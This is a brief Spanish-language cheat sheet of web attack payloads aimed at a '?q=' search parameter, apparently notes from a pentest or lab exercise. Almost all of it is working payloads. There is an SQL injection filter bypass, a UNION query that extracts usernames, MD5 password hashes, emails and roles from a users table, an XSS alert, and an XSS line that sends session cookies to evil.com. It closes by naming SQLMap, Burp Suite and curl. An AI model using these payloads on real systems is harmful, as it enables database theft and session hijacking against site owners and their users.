# Ver todos los clientes (bypass del filtro)
?q=' OR '1'='1
# Extraer tabla users con UNION
?q=' UNION SELECT id,username,password_md5,email,role,created_at,7,8 FROM users--
# XSS basico
?q=<script>alert(document.cookie)</script>
# XSS con robo de sesion (conceptual)
?q=<script>fetch('http://evil.com/steal?'+document.cookie)</script>
Herramientas:
SQLMap
Burp Suite
curl